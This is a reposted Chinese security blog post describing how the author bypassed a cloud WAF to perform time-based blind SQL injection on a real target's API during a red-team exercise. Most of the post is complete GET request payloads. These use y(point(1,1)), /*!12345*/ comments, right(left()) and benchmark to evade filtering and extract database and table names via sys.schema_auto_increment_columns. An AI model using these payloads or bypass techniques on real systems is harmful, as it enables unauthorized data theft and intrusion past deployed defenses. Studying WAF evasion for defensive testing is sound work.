文章总结: 文章记录某云WAF绕过实战:利用y(point(1,1))函数打散关键字、/!12345/注释与left/right组合替代substr,配合benchmark延时注入,绕过select+括号、information_schema、user()等组合拦截,最终通过sys.schema_auto_increment_columns获取表名,提供完整绕过思路与payload。
综合评分: 82
文章分类: WEB安全,渗透测试,漏洞分析,安全工具
hw中用到的某云waf绕过技巧
律师
律师
泷羽Sec-track
2026年1月20日 17:28
安徽
声明!本文章所有的工具分享仅仅只是供大家学习交流为主,切勿用于非法用途,如有任何触犯法律的行为,均与本人及团队无关!!!
往期推荐:
公众号:
文章转载至
作者:律师
https://forum.butian.net/share/4461
几年前的笔记里就存了Y函数的使用(出处找不到了),近期又看到有师傅提到了这个用法,随即又在hw目标中试了试,发现还可以使用,由此引发了一次绕waf的案例,再此记录一下绕过思路。这次案例的目标也是来自hw活动的目标网站。
确定注入点类型
/api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1&page=1&pageSize=10&ts=175082141514&orderBy=1
orderType参数加单引号报错,且根据名参数名猜测注入位置可能为order by处。
image.png
尝试插入注入语句被某云waf拦截
/api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+(select*from(select(sleep(3)))x)&page=1&pageSize=10&ts=175082141514&orderBy=1
image.png
绕过waf
确定了有waf后,开始尝试确定拦截规则:
绕过关键字组合的检测
- 输入:1 or (select) =>不拦截
- 输入:1 or (select*) =>拦截
- 输入:1 or (select 0) =>拦截
- 输入:1 or (select()) =>拦截 说明拦截了select+xx的组合,但是没拦截select关键字,开始尝试填充注释符(
/*!12345\*/)、垃圾字符等都不行.
image.png
尝试前面说的y(point(1,1))函数,可以绕过
image.png
并且不报错,正常出数据了,说明注入点确定是存在的,继续开始注入
绕过sleep(3)
GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/*!12345*/0/**/from(select/**/sleep(1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1
- 发现
1+or+y(point(1,1))+or+(select/*!12345*/0/**/from(select/**/sleep())x)=>没拦截 - 发现
1+or+y(point(1,1))+or+(select/*!12345*/0/**/from(select/**/sleep(1))x)=>拦截 替换成benchmark尝试
GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/benchmark(51111111,1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1
成功延时
image.png
加入if判断,未拦截
GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(1=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1
image.png
加入ascii()未拦截
GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(2)=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1
加入substr()拦截
GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(substr(1,1,1))=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1
image.png
绕过substr()
使用关键字替换, right(left(1,1),1)可以绕过
GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(1,1),1))=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1
添加user()、database()尝试查数据,被拦截
GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(user(),1),1))=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1
image.png
绕过user()/database()/version()
经测试:
1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(database,1),1))!=1,benchmark(51111111,1),1))x)=>不拦截1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(database(),1),1))!=1,benchmark(51111111,1),1))x)=>拦截1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(user,1),1))!=1,benchmark(51111111,1),1))x)=>不拦截1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(user(),1),1))!=1,benchmark(51111111,1),1))x)=>拦截1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(version,1),1))!=1,benchmark(51111111,1),1))x)=>不拦截1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(version,1),1))!=1,benchmark(51111111,1),1))x)=>拦截
可以确定没拦截关键字,拦截的是关键字+()组合
这里有两种思路
- 使用
`绕过 这种方式可以绕过,使用version()的方式分割,可以绕过。 但是这里只能用version()语句才会正常执行,user()和database()无法正常执行。 比较鸡肋,如果是挖src证明能出数据的话,可以用version()来证明,这里打攻防的话,就不太适用了。 2.使用/!12345/`绕过
这里先测试的/**/,发现被拦截
尝试/*!12345*/可以绕过
image.png
到这里的话,基本就可以拿到database()的数据了
然后开始查表名
GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left((select/*!5555555*/group_concat(table_name)/*!12345*/from/*!12345*/(information_schema.tables)),1),1))!=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1
被拦截
image.png
绕过information_schema.x
经过测试: information_schema=>不拦截 information_schema.x=>拦截 也就是说拦截了information_schema+.的组合。 可以尝试换个库去读,这里换的是sys.schema_auto_increment_columns 成功绕过拦截读出数据
GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left((select/*!5555555*/group_concat(table_name)/*!12345*/from/*!12345*/(sys.schema_auto_increment_columns/*!12345*/)),1),1))!=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1
image.png
成功绕过所有关键字查询数据,查列名的话也没啥新增的关键字用以上的方式同样可以绕过,不在赘述了。
总结
y(point(1,1))是一种不常见的函数,拼接起来会起到意想不到的效果,正如前面所说的注入,如果没有y(point(1,1))配合的话,就绕不过去。
知识星球
可以加入我们的知识星球,包含cs二开,甲壳虫,渗透工具,SRC案例分享,POC工具等,还有很多src挖掘资料包
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:泷羽Sec-track 律师
律师《hw中用到的某云waf绕过技巧》